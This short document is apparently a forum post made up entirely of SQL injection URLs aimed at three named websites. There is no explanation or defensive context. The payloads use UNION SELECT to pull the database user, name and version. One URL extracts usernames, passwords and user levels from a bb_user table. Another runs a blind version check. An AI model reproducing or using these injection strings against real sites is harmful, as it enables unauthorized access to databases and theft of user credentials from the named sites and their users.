Code:
http://www.hudsonent.com/user/tos.php?page_id=-5+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4
http://www.hudsonent.com/user/tos.php?page_id=-5+union+select+1,2,concat_ws(0x3a,username,user_password,user_level),4+from+bb_user

Code:
http://www.sqexm.com/games.php?id=8'+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11+--+

Code:
http://bigbluebubble.com/index.php?page=aboutus&cat_id=118+and+mid(version(),1,1)=5